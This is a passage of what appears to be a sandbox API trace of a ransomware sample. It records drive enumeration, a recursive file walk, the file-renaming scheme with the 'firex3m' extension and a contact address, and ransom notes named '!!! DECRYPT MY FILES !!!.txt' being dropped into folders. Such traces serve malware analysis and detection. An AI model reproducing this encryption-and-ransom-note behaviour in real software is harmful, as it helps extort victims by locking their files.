RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1040 [0086.263] GetProcessHeap () returned 0x630000 [0086.263] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0086.263] GetProcessHeap () returned 0x630000 [0086.263] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6b10a0 [0086.264] GetProcessHeap () returned 0x630000 [0086.264] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0086.264] GetDriveTypeA (lpRootPathName="L:\\") returned 0x1 [0086.264] GetProcessHeap () returned 0x630000 [0086.264] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1058 [0086.264] GetProcessHeap () returned 0x630000 [0086.264] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0086.264] GetProcessHeap () returned 0x630000 [0086.264] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6b0f50 [0086.264] GetProcessHeap () returned 0x630000 [0086.264] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10a0 | out: hHeap=0x630000) returned 1 [0086.264] GetDriveTypeA (lpRootPathName="K:\\") returned 0x1 [0086.264] GetProcessHeap () returned 0x630000 [0086.264] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1040 [0086.264] GetProcessHeap () returned 0x630000 [0086.264] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0086.264] GetProcessHeap () returned 0x630000 [0086.264] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6b10a0 [0086.264] GetProcessHeap () returned 0x630000 [0086.264] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0086.264] GetDriveTypeA (lpRootPathName="J:\\") returned 0x1 [0086.264] GetProcessHeap () returned 0x630000 [0086.264] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0086.264] GetProcessHeap () returned 0x630000 [0086.264] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0086.264] GetProcessHeap () returned 0x630000 [0086.264] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6b1040 [0086.264] GetProcessHeap () returned 0x630000 [0086.264] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10a0 | out: hHeap=0x630000) returned 1 [0086.264] GetDriveTypeA (lpRootPathName="I:\\") returned 0x1 [0086.265] GetProcessHeap () returned 0x630000 [0086.265] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1058 [0086.265] GetProcessHeap () returned 0x630000 [0086.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0086.265] GetProcessHeap () returned 0x630000 [0086.265] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6b0f50 [0086.265] GetProcessHeap () returned 0x630000 [0086.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0086.265] GetDriveTypeA (lpRootPathName="H:\\") returned 0x1 [0086.265] GetProcessHeap () returned 0x630000 [0086.265] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1040 [0086.265] GetProcessHeap () returned 0x630000 [0086.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0086.265] GetProcessHeap () returned 0x630000 [0086.265] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6b1058 [0086.265] GetProcessHeap () returned 0x630000 [0086.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0086.265] GetDriveTypeA (lpRootPathName="G:\\") returned 0x1 [0086.265] GetProcessHeap () returned 0x630000 [0086.265] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0086.265] GetProcessHeap () returned 0x630000 [0086.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0086.265] GetProcessHeap () returned 0x630000 [0086.265] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6b1040 [0086.265] GetProcessHeap () returned 0x630000 [0086.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0086.265] GetDriveTypeA (lpRootPathName="F:\\") returned 0x1 [0086.266] GetProcessHeap () returned 0x630000 [0086.266] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1058 [0086.266] GetProcessHeap () returned 0x630000 [0086.266] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0086.266] GetProcessHeap () returned 0x630000 [0086.266] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6b10a0 [0086.266] GetProcessHeap () returned 0x630000 [0086.266] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0086.266] GetDriveTypeA (lpRootPathName="E:\\") returned 0x1 [0086.266] GetProcessHeap () returned 0x630000 [0086.266] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1040 [0086.266] GetProcessHeap () returned 0x630000 [0086.266] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0086.266] GetProcessHeap () returned 0x630000 [0086.266] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6b1058 [0086.266] GetProcessHeap () returned 0x630000 [0086.266] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10a0 | out: hHeap=0x630000) returned 1 [0086.266] GetDriveTypeA (lpRootPathName="D:\\") returned 0x1 [0086.266] GetProcessHeap () returned 0x630000 [0086.266] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10a0 [0086.266] GetProcessHeap () returned 0x630000 [0086.266] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0086.266] GetProcessHeap () returned 0x630000 [0086.266] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6b0f50 [0086.266] GetProcessHeap () returned 0x630000 [0086.267] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0086.267] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0086.267] GetProcessHeap () returned 0x630000 [0086.267] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1040 [0086.267] GetProcessHeap () returned 0x630000 [0086.267] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1040, Size=0xc) returned 0x6b1058 [0086.267] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x6b1060, cbMultiByte=3, lpWideCharStr=0x6ebeb94, cchWideChar=2047 | out: lpWideCharStr="C:\\") returned 3 [0086.267] SysReAllocStringLen (in: pbstr=0x6ebf930*=0x0, psz="C:\\", len=0x3 | out: pbstr=0x6ebf930*="C:\\") returned 1 [0086.267] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0086.267] SysReAllocStringLen (in: pbstr=0x6ebf8d8*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf8d8*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0086.267] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0086.267] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x6ebf934 | out: lpFindFileData=0x6ebf934*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ebf9ac, dwReserved1=0x778a56f9, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x6d5100 [0086.268] SysReAllocStringLen (in: pbstr=0x6ebf668*=0x0, psz="C:\\$GetCurrent\\", len=0xf | out: pbstr=0x6ebf668*="C:\\$GetCurrent\\") returned 1 [0086.268] CharLowerBuffW (in: lpsz="C:\\$GetCurrent\\", cchLength=0xf | out: lpsz="c:\\$getcurrent\\") returned 0xf [0086.268] SysReAllocStringLen (in: pbstr=0x6ebf610*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf610*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0086.268] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0086.268] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*.*", lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240010, cFileName=".", cAlternateFileName="")) returned 0x6d4ec0 [0086.342] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.342] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0086.342] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\$GetCurrent\\Logs\\", len=0x14 | out: pbstr=0x6ebf3a0*="C:\\$GetCurrent\\Logs\\") returned 1 [0086.342] CharLowerBuffW (in: lpsz="C:\\$GetCurrent\\Logs\\", cchLength=0x14 | out: lpsz="c:\\$getcurrent\\logs\\") returned 0x14 [0086.342] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0086.342] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0086.343] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5340 [0086.393] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.393] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0086.394] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log", len=0x39 | out: pbstr=0x6ebf398*="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 1 [0086.394] CharLowerBuffW (in: lpsz="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log", cchLength=0x39 | out: lpsz="c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log") returned 0x39 [0086.394] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0086.394] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0086.394] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0086.394] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0086.394] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0086.394] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0086.394] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x60, ftCreationTime.dwLowDateTime=0x18, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x6ebf06c, ftLastAccessTime.dwHighDateTime=0x40, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x542c8aac, dwReserved1=0x778947df, cFileName="硆ৄက", cAlternateFileName="롊皖㾼n㽄n`")) returned 0xffffffff [0086.395] FindResourceA (hModule=0x400000, lpName="TEEWLJH3QNDSEELUT", lpType=0xa) returned 0x41b090 [0086.395] LoadResource (hModule=0x400000, hResInfo=0x41b090) returned 0x41b234 [0086.395] LockResource (hResData=0x41b234) returned 0x41b234 [0086.395] SizeofResource (hModule=0x400000, hResInfo=0x41b090) returned 0x11f [0086.395] GetProcessHeap () returned 0x630000 [0086.395] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11f) returned 0x6859b0 [0086.395] GetProcessHeap () returned 0x630000 [0086.395] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a) returned 0x6e93a0 [0086.395] RtlGetCompressionWorkSpaceSize (in: CompressionFormatAndEngine=0x2, CompressBufferWorkSpaceSize=0x6ebf2e8, CompressFragmentWorkSpaceSize=0x6ebf2e4 | out: CompressBufferWorkSpaceSize=0x6ebf2e8, CompressFragmentWorkSpaceSize=0x6ebf2e4) returned 0x0 [0086.395] GetProcessHeap () returned 0x630000 [0086.395] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8010) returned 0x6eb728 [0086.396] GetProcessHeap () returned 0x630000 [0086.396] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1ae) returned 0x6f3768 [0086.396] GetProcessHeap () returned 0x630000 [0086.396] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6f3768, Size=0x1ae) returned 0x6f4528 [0086.396] RtlDecompressFragment (in: CompressionFormat=0x2, UncompressedFragment=0x6f4528, UncompressedFragmentSize=0x1ae, CompressedBuffer=0x6859b0, CompressedBufferSize=0x11f, FragmentOffset=0x0, FinalUncompressedSize=0x6ebf2e0, WorkSpace=0x6eb728 | out: UncompressedFragment=0x6f4528, FinalUncompressedSize=0x6ebf2e0) returned 0x0 [0086.396] GetProcessHeap () returned 0x630000 [0086.396] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6eb728 | out: hHeap=0x630000) returned 1 [0086.396] GetProcessHeap () returned 0x630000 [0086.396] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6f4528, Size=0x12b) returned 0x69bc00 [0086.396] GetProcessHeap () returned 0x630000 [0086.396] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6859b0 | out: hHeap=0x630000) returned 1 [0086.396] GetProcessHeap () returned 0x630000 [0086.396] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x134) returned 0x6859b0 [0086.396] GetProcessHeap () returned 0x630000 [0086.396] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x134) returned 0x6f5068 [0086.396] GetProcessHeap () returned 0x630000 [0086.396] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6f5068, Size=0x12e) returned 0x696978 [0086.396] GetProcessHeap () returned 0x630000 [0086.396] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x696978, Size=0x138) returned 0x696978 [0086.396] GetProcessHeap () returned 0x630000 [0086.396] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6859b0 | out: hHeap=0x630000) returned 1 [0086.396] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x644 [0086.397] WriteFile (in: hFile=0x644, lpBuffer=0x696980*, nNumberOfBytesToWrite=0x12f, lpNumberOfBytesWritten=0x6ebf2e8, lpOverlapped=0x0 | out: lpBuffer=0x696980*, lpNumberOfBytesWritten=0x6ebf2e8*=0x12f, lpOverlapped=0x0) returned 1 [0086.398] CloseHandle (hObject=0x644) returned 1 [0086.398] GetProcessHeap () returned 0x630000 [0086.398] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69bc00 | out: hHeap=0x630000) returned 1 [0086.398] FreeResource (hResData=0x41b234) returned 0 [0086.398] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\$GetCurrent\\Logs\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\$getcurrent\\logs\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0086.885] GetProcessHeap () returned 0x630000 [0086.885] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e93a0 | out: hHeap=0x630000) returned 1 [0086.885] GetProcessHeap () returned 0x630000 [0086.885] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x696978 | out: hHeap=0x630000) returned 1 [0086.885] GetProcessHeap () returned 0x630000 [0086.885] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1418 [0086.886] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0086.886] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log", psz="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log", len=0x34 | out: pbstr=0x6ebf398*="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 1 [0086.886] CharLowerBuffW (in: lpsz="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log", cchLength=0x34 | out: lpsz="c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log") returned 0x34 [0086.886] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0086.886] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0086.886] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0086.887] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0086.887] GetProcessHeap () returned 0x630000 [0086.887] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1418, Size=0x10) returned 0x6b1340 [0086.887] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1 [0086.887] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log", psz="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log", len=0x32 | out: pbstr=0x6ebf398*="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 1 [0086.887] CharLowerBuffW (in: lpsz="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log", cchLength=0x32 | out: lpsz="c:\\$getcurrent\\logs\\partnersetupcompleteresult.log") returned 0x32 [0086.887] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0086.887] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0086.887] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0086.887] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0086.887] GetProcessHeap () returned 0x630000 [0086.887] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1340, Size=0x14) returned 0x6b0318 [0086.887] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0086.888] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0086.888] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0086.888] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\$GetCurrent\\SafeOS\\", len=0x16 | out: pbstr=0x6ebf3a0*="C:\\$GetCurrent\\SafeOS\\") returned 1 [0086.888] CharLowerBuffW (in: lpsz="C:\\$GetCurrent\\SafeOS\\", cchLength=0x16 | out: lpsz="c:\\$getcurrent\\safeos\\") returned 0x16 [0086.888] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0086.888] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0086.888] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d51c0 [0086.995] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 